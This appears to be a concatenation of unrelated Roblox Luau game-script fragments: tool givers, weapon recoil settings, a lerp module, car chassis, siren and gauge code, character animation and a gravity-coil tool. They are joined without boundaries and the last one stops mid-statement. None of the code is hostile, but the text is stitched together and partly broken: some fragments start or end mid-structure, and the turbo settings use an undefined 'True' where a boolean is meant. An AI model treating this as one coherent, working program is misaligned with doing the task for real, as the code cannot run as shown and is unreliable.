local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.KittyJump-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {12,16} --- Vertical Recoil ,HRecoil = {5,7} --- Horizontal Recoil ,AimRecover = .7 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 2.5 --- Vertical Punch ,HPunchBase = 1.7 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .5 ,MaxRecoilPower = 3.5 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.56 --- Min bullet spread value | Studs ,MaxSpread = 35 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0.5 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
-- Cache common functions to avoid unnecessary table lookups
local TableInsert, NewVector3 = table.insert, Vector3.new function GetCornerOffsets(Origin, InitialStates) -- Calculates and returns the offset of every corner in the initial state from the origin CFrame local CornerOffsets = {} -- Get offset for origin point local OriginOffset = Origin:inverse() -- Go through each item in the initial state for Item, State in pairs(InitialStates) do local ItemCFrame = State.CFrame local SizeX, SizeY, SizeZ = Item.Size.X / 2, Item.Size.Y / 2, Item.Size.Z / 2 -- Gather each corner TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, SizeY, SizeZ))) TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, SizeY, SizeZ))) TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, -SizeY, SizeZ))) TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, SizeY, -SizeZ))) TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, SizeY, -SizeZ))) TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, -SizeY, SizeZ))) TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, -SizeY, -SizeZ))) TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, -SizeY, -SizeZ))) end -- Return the offsets return CornerOffsets end function FreeDragging:InstallDragEndListener() Support.AddUserInputListener('Ended', {'Touch', 'MouseButton1'}, true, function (Input) -- Clear drag detection data self.StartScreenPoint = nil self.StartTarget = nil ContextActionService:UnbindAction 'BT: Watch for dragging' -- Reset from drag mode if dragging if self.IsDragging then -- Reset axes self.Tool:SetAxes(self.Tool.Axes) -- Finalize the dragging operation self:FinishDragging() end end) end return FreeDragging
--[=[ Observes the current value of the ValueObject @param valueObject ValueObject<T> @return Observable<T> ]=]
function ValueObjectUtils.observeValue(valueObject) assert(ValueObject.isValueObject(valueObject), "Bad valueObject") return Observable.new(function(sub) if not valueObject.Destroy then warn("[ValueObjectUtils.observeValue] - Connecting to dead ValueObject") -- No firing, we're dead sub:Complete() return end local maid = Maid.new() maid:GiveTask(valueObject.Changed:Connect(function() sub:Fire(valueObject.Value) end)) sub:Fire(valueObject.Value) return maid end) end
--Tool.Enabled = true
function onActivated() --if not Tool.Enabled then -- return --end --Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit fire(lookAt) --wait(2) --Tool.Enabled = true end while true do script.Parent.Activated:wait() connection = game:service("RunService").Stepped:connect(onActivated) wait(2) end
-- Generic Roblox DataType lerp function.
local function RobloxLerp(V0, V1) return function(DeltaTime) return V0:Lerp(V1, DeltaTime) end end local function Lerp(Start, Finish, Alpha) return Start + Alpha * (Finish - Start) end local function SortByTime(a, b) return a.Time < b.Time end local Lerps = setmetatable({ boolean = function(V0, V1) return function(DeltaTime) if DeltaTime < 0.5 then return V0 else return V1 end end end; number = function(V0, V1) local Delta = V1 - V0 return function(DeltaTime) return V0 + Delta * DeltaTime end end; CFrame = RobloxLerp; Color3 = function(C0, C1) local L0, U0, V0 local R0, G0, B0 = C0.R, C0.G, C0.B R0 = R0 < 0.0404482362771076 and R0 / 12.92 or 0.87941546140213 * (R0 + 0.055) ^ 2.4 G0 = G0 < 0.0404482362771076 and G0 / 12.92 or 0.87941546140213 * (G0 + 0.055) ^ 2.4 B0 = B0 < 0.0404482362771076 and B0 / 12.92 or 0.87941546140213 * (B0 + 0.055) ^ 2.4 local Y0 = 0.2125862307855956 * R0 + 0.71517030370341085 * G0 + 0.0722004986433362 * B0 local Z0 = 3.6590806972265883 * R0 + 11.4426895800574232 * G0 + 4.1149915024264843 * B0 local _L0 = Y0 > 0.008856451679035631 and 116 * Y0 ^ (1 / 3) - 16 or 903.296296296296 * Y0 if Z0 > 0.0000000000000010000000000000001 then local X = 0.9257063972951867 * R0 - 0.8333736323779866 * G0 - 0.09209820666085898 * B0 L0, U0, V0 = _L0, _L0 * X / Z0, _L0 * (9 * Y0 / Z0 - 0.46832) else L0, U0, V0 = _L0, -0.19783 * _L0, -0.46832 * _L0 end local L1, U1, V1 local R1, G1, B1 = C1.R, C1.G, C1.B R1 = R1 < 0.0404482362771076 and R1 / 12.92 or 0.87941546140213 * (R1 + 0.055) ^ 2.4 G1 = G1 < 0.0404482362771076 and G1 / 12.92 or 0.87941546140213 * (G1 + 0.055) ^ 2.4 B1 = B1 < 0.0404482362771076 and B1 / 12.92 or 0.87941546140213 * (B1 + 0.055) ^ 2.4 local Y1 = 0.2125862307855956 * R1 + 0.71517030370341085 * G1 + 0.0722004986433362 * B1 local Z1 = 3.6590806972265883 * R1 + 11.4426895800574232 * G1 + 4.1149915024264843 * B1 local _L1 = Y1 > 0.008856451679035631 and 116 * Y1 ^ (1 / 3) - 16 or 903.296296296296 * Y1 if Z1 > 0.0000000000000010000000000000001 then -- 1E-15 local X = 0.9257063972951867 * R1 - 0.8333736323779866 * G1 - 0.09209820666085898 * B1 L1, U1, V1 = _L1, _L1 * X / Z1, _L1 * (9 * Y1 / Z1 - 0.46832) else L1, U1, V1 = _L1, -0.19783 * _L1, -0.46832 * _L1 end return function(DeltaTime) local L = (1 - DeltaTime) * L0 + DeltaTime * L1 if L < 0.0197955 then return BLACK_COLOR3 end local U = ((1 - DeltaTime) * U0 + DeltaTime * U1) / L + 0.19783 local V = ((1 - DeltaTime) * V0 + DeltaTime * V1) / L + 0.46832 local Y = (L + 16) / 116 Y = Y > 0.206896551724137931 and Y * Y * Y or 0.12841854934601665 * Y - 0.01771290335807126 local X = Y * U / V local Z = Y * ((3 - 0.75 * U) / V - 5) local R = 7.2914074 * X - 1.5372080 * Y - 0.4986286 * Z local G = -2.1800940 * X + 1.8757561 * Y + 0.0415175 * Z local B = 0.1253477 * X - 0.2040211 * Y + 1.0569959 * Z if R < 0 and R < G and R < B then R, G, B = 0, G - R, B - R elseif G < 0 and G < B then R, G, B = R - G, 0, B - G elseif B < 0 then R, G, B = R - B, G - B, 0 end R = R < 0.0031306684424999998 and 12.92 * R or 1.055 * R ^ (1 / 2.4) - 0.055 -- 3.1306684425E-3 G = G < 0.0031306684424999998 and 12.92 * G or 1.055 * G ^ (1 / 2.4) - 0.055 B = B < 0.0031306684424999998 and 12.92 * B or 1.055 * B ^ (1 / 2.4) - 0.055 return Color3.new( R > 1 and 1 or R < 0 and 0 or R, G > 1 and 1 or G < 0 and 0 or G, B > 1 and 1 or B < 0 and 0 or B ) end end; NumberRange = function(V0, V1) local Min0, Max0 = V0.Min, V0.Max local DeltaMin, DeltaMax = V1.Min - Min0, V1.Max - Max0 return function(DeltaTime) return NumberRange.new(Min0 + DeltaTime * DeltaMin, Max0 + DeltaTime * DeltaMax) end end; NumberSequenceKeypoint = function(Start, End) local T0, V0, E0 = Start.Time, Start.Value, Start.Envelope local DT, DV, DE = End.Time - T0, End.Value - V0, End.Envelope - E0 return function(DeltaTime) return NumberSequenceKeypoint.new(T0 + DeltaTime * DT, V0 + DeltaTime * DV, E0 + DeltaTime * DE) end end; PhysicalProperties = function(V0, V1) local D0, E0, EW0, F0, FW0 = V0.Density, V0.Elasticity, V0.ElasticityWeight, V0.Friction, V0.FrictionWeight local DD, DE, DEW, DF, DFW = V1.Density - D0, V1.Elasticity - E0, V1.ElasticityWeight - EW0, V1.Friction - F0, V1.FrictionWeight - FW0 return function(DeltaTime) return PhysicalProperties.new( D0 + DeltaTime * DD, E0 + DeltaTime * DE, EW0 + DeltaTime * DEW, F0 + DeltaTime * DF, FW0 + DeltaTime * DFW ) end end; Ray = function(V0, V1) local O0, D0, O1, D1 = V0.Origin, V0.Direction, V1.Origin, V1.Direction local OX0, OY0, OZ0, DX0, DY0, DZ0 = O0.X, O0.Y, O0.Z, D0.X, D0.Y, D0.Z local DOX, DOY, DOZ, DDX, DDY, DDZ = O1.X - OX0, O1.Y - OY0, O1.Z - OZ0, D1.X - DX0, D1.Y - DY0, D1.Z - DZ0 return function(DeltaTime) return Ray.new( Vector3.new(OX0 + DeltaTime * DOX, OY0 + DeltaTime * DOY, OZ0 + DeltaTime * DOZ), Vector3.new(DX0 + DeltaTime * DDX, DY0 + DeltaTime * DDY, DZ0 + DeltaTime * DDZ) ) end end; UDim = function(V0, V1) local SC, OF = V0.Scale, V0.Offset local DSC, DOF = V1.Scale - SC, V1.Offset - OF return function(DeltaTime) return UDim.new(SC + DeltaTime * DSC, OF + DeltaTime * DOF) end end; UDim2 = RobloxLerp; Vector2 = RobloxLerp; Vector3 = RobloxLerp; Rect = function(V0, V1) return function(DeltaTime) return Rect.new( V0.Min.X + DeltaTime * (V1.Min.X - V0.Min.X), V0.Min.Y + DeltaTime * (V1.Min.Y - V0.Min.Y), V0.Max.X + DeltaTime * (V1.Max.X - V0.Max.X), V0.Max.Y + DeltaTime * (V1.Max.Y - V0.Max.Y) ) end end; Region3 = function(V0, V1) return function(DeltaTime) local imin = Lerp(V0.CFrame * (-V0.Size / 2), V1.CFrame * (-V1.Size / 2), DeltaTime) local imax = Lerp(V0.CFrame * (V0.Size / 2), V1.CFrame * (V1.Size / 2), DeltaTime) local iminx = imin.X local imaxx = imax.X local iminy = imin.Y local imaxy = imax.Y local iminz = imin.Z local imaxz = imax.Z return Region3.new( Vector3.new(iminx < imaxx and iminx or imaxx, iminy < imaxy and iminy or imaxy, iminz < imaxz and iminz or imaxz), Vector3.new(iminx > imaxx and iminx or imaxx, iminy > imaxy and iminy or imaxy, iminz > imaxz and iminz or imaxz) ) end end; NumberSequence = function(V0, V1) return function(DeltaTime) local keypoints = {} local addedTimes = {} local keylength = 0 for _, ap in ipairs(V0.Keypoints) do local closestAbove, closestBelow for _, bp in ipairs(V1.Keypoints) do if bp.Time == ap.Time then closestAbove, closestBelow = bp, bp break elseif bp.Time < ap.Time and (closestBelow == nil or bp.Time > closestBelow.Time) then closestBelow = bp elseif bp.Time > ap.Time and (closestAbove == nil or bp.Time < closestAbove.Time) then closestAbove = bp end end local bValue, bEnvelope if closestAbove == closestBelow then bValue, bEnvelope = closestAbove.Value, closestAbove.Envelope else local p = (ap.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time) bValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value bEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope end local interValue = (bValue - ap.Value) * DeltaTime + ap.Value local interEnvelope = (bEnvelope - ap.Envelope) * DeltaTime + ap.Envelope local interp = NumberSequenceKeypoint.new(ap.Time, interValue, interEnvelope) keylength = keylength + 1 keypoints[keylength] = interp addedTimes[ap.Time] = true end for _, bp in ipairs(V1.Keypoints) do if not addedTimes[bp.Time] then local closestAbove, closestBelow for _, ap in ipairs(V0.Keypoints) do if ap.Time == bp.Time then closestAbove, closestBelow = ap, ap break elseif ap.Time < bp.Time and (closestBelow == nil or ap.Time > closestBelow.Time) then closestBelow = ap elseif ap.Time > bp.Time and (closestAbove == nil or ap.Time < closestAbove.Time) then closestAbove = ap end end local aValue, aEnvelope if closestAbove == closestBelow then aValue, aEnvelope = closestAbove.Value, closestAbove.Envelope else local p = (bp.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time) aValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value aEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope end local interValue = (bp.Value - aValue) * DeltaTime + aValue local interEnvelope = (bp.Envelope - aEnvelope) * DeltaTime + aEnvelope local interp = NumberSequenceKeypoint.new(bp.Time, interValue, interEnvelope) keylength = keylength + 1 keypoints[keylength] = interp end end table.sort(keypoints, SortByTime) return NumberSequence.new(keypoints) end end; }, { __index = function(_, Index) error("No lerp function is defined for type " .. tostring(Index) .. ".", 4) end; __newindex = function(_, Index) error("No lerp function is defined for type " .. tostring(Index) .. ".", 4) end; }) return Lerps
-- Backwards compatability (deprecated)
Registry.AddHook = Registry.RegisterHook
--- VARIABLES/CONSTANTS ---
Character = script.Parent Humanoid = Character.Humanoid HumanoidRootPart = Character.HumanoidRootPart Debounce = false
--Weld stuff here
MakeWeld(misc.Trunk.Hinge,car.DriveSeat,"Motor",.03) ModelWeld(misc.Trunk.Parts,misc.Trunk.Hinge) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
-- local script inside the tool
local tool = script.Parent local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local isAdmin = true -- change this to true if the player is an admin local normalHealth = humanoid.MaxHealth local adminHealth = 1000 local function onEquipped() if isAdmin then humanoid.MaxHealth = adminHealth humanoid.Health = adminHealth end end local function onUnequipped() if isAdmin then humanoid.MaxHealth = normalHealth humanoid.Health = normalHealth end end tool.Equipped:Connect(onEquipped) tool.Unequipped:Connect(onUnequipped)
-- ROBLOX deviation: skipping path -- local path = require("path") -- ROBLOX FIXME: make proper platform check -- local win32 = process.platform == "win32"
local win32 = false local Constants = require(CurrentModule.constants)
--494sox @ //INSPARE
local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local UserInputService = game:GetService("UserInputService") local on = 0 script:WaitForChild("DownShiftSound") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.DriveSeat end function DealWithInput(input,IsRobloxFunction) if (input.KeyCode == Enum.KeyCode.Q) and (script.Parent.Values.RPM.Value>=4500) and input.UserInputState == Enum.UserInputState.Begin then car.DriveSeat.DownShiftSound:Play() car.DriveSeat.Rev.Volume=3 wait(1.9) car.DriveSeat.Rev.Volume=5 end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput)
-- functions
function onRunning(speed) if isSeated then return end if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() isSeated = false pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() isSeated = true pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 1 LeftShoulder.DesiredAngle = -1 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveClimb() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = 3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() kidTable = Figure:children() if (kidTable ~= nil) then numKids = #kidTable for i=1,numKids do if (kidTable[i].className == "Tool") then return kidTable[i] end end end return nil end function getToolAnim(tool) c = tool:children() for i=1,#c do if (c[i].Name == "toolanim" and c[i].className == "StringValue") then return c[i] end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = 1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 if (pose == "Running" and script.Parent.Humanoid.WalkSpeed ~= 0) then amplitude = 1 frequency = 9 else amplitude = 0.1 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle local tool = getTool() if tool ~= nil then animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
------//Low Ready Animations
self.RightLowReady = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)); self.LeftLowReady = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
--[[ The Module ]]
-- local BaseOcclusion = require(script.Parent:WaitForChild("BaseOcclusion")) local Poppercam = setmetatable({}, BaseOcclusion) Poppercam.__index = Poppercam function Poppercam.new() local self = setmetatable(BaseOcclusion.new(), Poppercam) self.focusExtrapolator = TransformExtrapolator.new() return self end function Poppercam:GetOcclusionMode() return Enum.DevCameraOcclusionMode.Zoom end function Poppercam:Enable(enable) self.focusExtrapolator:Reset() end function Poppercam:Update(renderDt, desiredCameraCFrame, desiredCameraFocus, cameraController) local rotatedFocus = CFrame.new(desiredCameraFocus.p, desiredCameraCFrame.p)*CFrame.new( 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, 0, -1 ) local extrapolation = self.focusExtrapolator:Step(renderDt, rotatedFocus) local zoom = ZoomController.Update(renderDt, rotatedFocus, extrapolation) return rotatedFocus*CFrame.new(0, 0, zoom), desiredCameraFocus end
-- Constants
local RootModel = script:FindFirstAncestorOfClass("Model") local EffectsToPlay = script.EffectsToPlay local WeaponDefinition = WeaponDefinitionLoader.GetWeaponDefintionByName(RootModel:GetAttribute("WeaponName")) local OwnerID = RootModel:GetAttribute("OwnerID") local GrenadeFuseTime = WeaponDefinition:GetFuseTime() local owningPlayer = PlayersService:GetPlayerByUserId(OwnerID) wait(GrenadeFuseTime)
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end function ProcessMessage(message, ChatWindow, ChatSettings) local LocalPlayer = game:GetService("Players").LocalPlayer if LocalPlayer and LocalPlayer.UserId < 0 and not RunService:IsStudio() then local channelObj = ChatWindow:GetCurrentChannel() if channelObj then util:SendSystemMessageToSelf( ChatLocalization:Get("GameChat_SwallowGuestChat_Message","Create a free account to get access to chat permissions!"), channelObj, {} ) end return true end return false end return { [util.KEY_COMMAND_PROCESSOR_TYPE] = util.COMPLETED_MESSAGE_PROCESSOR, [util.KEY_PROCESSOR_FUNCTION] = ProcessMessage }
--// F key, Horn
mouse.KeyUp:connect(function(key) if key=="f" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 3.5 veh.Lightbar.middle.Yelp.Volume = 3.5 veh.Lightbar.middle.Priority.Volume = 3.5 veh.Lightbar.middle.Manual.Volume = 3.5 end end) mouse.KeyDown:connect(function(key) if key=="j" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end) mouse.KeyDown:connect(function(key) if key=="]" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.TD.RemoteEvent:FireServer(true) end end)
-- Input function determined by user's device controls
local GetInput = false
-------- OMG HAX
r = game:service("RunService") Tool = script.Parent local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass local gravity = .75 -- things float at > 1 local ghostEffect = nil local massCon1 = nil local massCon2 = nil local myCharacter local myPlayer local head = nil function recursiveGetLift(node) local m = 0 local c = node:GetChildren() if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off for i=1,#c do if c[i]:IsA("BasePart") then if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end end m = m + recursiveGetLift(c[i]) end return m end function onMassChanged(child, char) print("Mass changed:" .. child.Name .. " " .. char.Name) if (ghostEffect ~= nil) then ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) end end function UpdateGhostState(isUnequipping) if isUnequipping == true then ghostEffect:Remove() ghostEffect = nil massCon1:disconnect() massCon2:disconnect() else if ghostEffect == nil then local char = Tool.Parent if char == nil then return end ghostEffect = Instance.new("BodyForce") ghostEffect.Name = "GravityCoilEffect" ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) ghostEffect.Parent = char.Head ghostChar = char massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end) massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end) end end end function onEquipped() myCharacter = Tool.Parent UpdateGhostState(false) Tool.Handle.CoilSound:Play() end function onUnequipped() UpdateGhostState(true) end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped)
--Tune--
local StockHP = 350 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve) local TurboCount = 2 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos) local TurboSize = 45 --bigger the turbo, the more lag it has local WasteGatePressure = 10 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo) local CompressionRatio = 9/1 --Compression of your car (look up the compression of the engine you are running) local AntiLag = True --if true basically keeps the turbo spooled up so less lag local BOV_Loudness = 10 --volume of the BOV (not exact volume so you kinda have to experiment with it) local TurboLoudness = 1 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 175 / 7000 end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if 